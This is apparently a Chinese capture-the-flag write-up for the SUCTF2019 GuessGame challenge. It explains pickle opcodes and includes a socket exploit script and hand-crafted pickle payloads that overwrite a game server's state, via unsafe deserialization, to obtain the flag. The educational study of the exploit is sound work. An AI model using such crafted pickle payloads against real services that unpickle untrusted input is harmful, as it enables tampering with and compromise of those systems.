首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SUCTF2019-GuessGame详解

SUCTF2019-GuessGame详解

作者头像
ChaMd5安全团队
发布2019-10-21 15:49:29
1.6K0
发布2019-10-21 15:49:29
举报
文章被收录于专栏:ChaMd5安全团队ChaMd5安全团队

写在前面

之前参加了2019 SUCTF,遇见了一道MISC题,看源码和phithon师傅的文章去了解它的opcodes,但是最终还是没做出来,因为文档实在是太少了,所以决心要弄懂这些东西。虽然pickle这个问题存在很久了,但是还是会有存在的情况,所以还是需要弄懂的,要不然就像这次的SUCTF一样,出现这样的血案,如果以后出现了也有一战之力,不管是执行命令还是这种类的修改。 PS:本文基本不涉及pickle绕过沙盒反序列化执行命令,因为题目不涉及,具体可看附录里的链接。

Pickle介绍

pickle模块实现用于对Python对象结构进行序列化和反序列化的二进制协议。 与其它语言一样,pickle的dump(dumps)和load(loads)提供了序列化和反序列化的功能,详情使用可参考附录里的pickle文档或者源码。

题目

首先来看下题目,可以在buuoj平台上开启guess game的靶机或者下载源码https://github.com/rmb122/suctf2019_guess_game里下载源码。这道题还是十分有趣的,不会pickle的人短时间内还是可以看懂pickle的基本使用,但是深入构造命令执行或者其它操作比较困难,而这题的考点就考它的其它操作组合。而至于命令执行,可以看附录里的一些链接。 可以看到给了两个文件,一个server.py、一个client.py

无疑是用client与server交互获得flag

1. 看下client核心逻辑:

十分的简单,可以看下Ticket类

也是十分的简单,甚至重写了==,这个会在后面遇到

2. Server逻辑:

查看猜对条件,可以看出就是判断ticket.number是否相等,相等就使 win_count+1

查看胜利条件,胜利次数==最大轮数,而最大轮数是10,所以就是要全胜

然后max_round和number_range定义在init.py里

但是这十次随机是不太可能的,跑了个脚本大概能跑对个3 4次就不错了23333。

所以整理下思路:

  • 让max_round=0,然后一局不赢,或者win_count=10,round_count=9传输一次。
  • 直接修改对象的值,让其与传过去的值相等
  • 执行命令直接读取/flag

解题方法

1. win_count=10,round_count=9传输一次

看下官方的exp

import pickle
import socket
import struct

s = socket.socket()
s.connect(('node2.buuoj.cn.wetolink.com', 28049))

exp = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.'''

s.send(struct.pack('>I', len(exp)))
s.send(exp)

print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))

看下解释

接下来看下修改win_count和win_count的opcodes:

cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sb

这都是啥东东,完全看不懂 = =,没关系,我们看看先换成容易看懂的,使用picktools转换

接下来从pickle源码中提取关键字解释

GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
EMPTY_DICT     = b'}'   # push empty dict
STRING         = b'S'   # push string; NL-terminated string argument
INT            = b'I'   # push integer or bool; decimal string argument
SETITEM        = b's'   # add key+value pair to dict
BUILD          = b'b'   # call __setstate__ or __dict__.update()

有人肯定就开始问了,这我也看不懂英文啊,大哥你帮帮我翻译呗 那就解释如下: c引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了) }push一个空的字典,相当于push {} S: push一个字符串 I: push一个整型 s: 按照我的理解以及一些参考文章,pop两位 ,然后作为字典的key和value,这个跟pyc的代码是类似的。 b: 调用__setstate__ 或者 __dict__.update() dict.update:更新对象的属性的

所以上面的翻译一下

如果对python字节码熟悉的师傅就会觉得很简单,但是Web狗实在见识少,只能通过查阅资料和猜测来做。 然后再拼接一个Ticket序列化对象

虽然与exp有点差别但是影响不大,验证一下

至于改max_round,由于它不是类里的属性,从opcode没找到操作的方法,如果有可以操作这两个值的方法也是实现的。

2. 直接修改对象的值,让其与传过去的值相等

这一步的关键点在修改guess_game.game.game的current_ticket值。我将De1ta的payload简化了下

exp1 = b"cguess_game\ngame\nN(S'curr_ticket'\ncguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x06sbd\x86bcguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x06sb."

翻译一下,与上面的其实差不多

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-10-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 写在前面
  • Pickle介绍
  • 题目
  • 解题方法
    • 1. win_count=10,round_count=9传输一次
      • 2. 直接修改对象的值,让其与传过去的值相等
      相关产品与服务
      文件存储
      文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档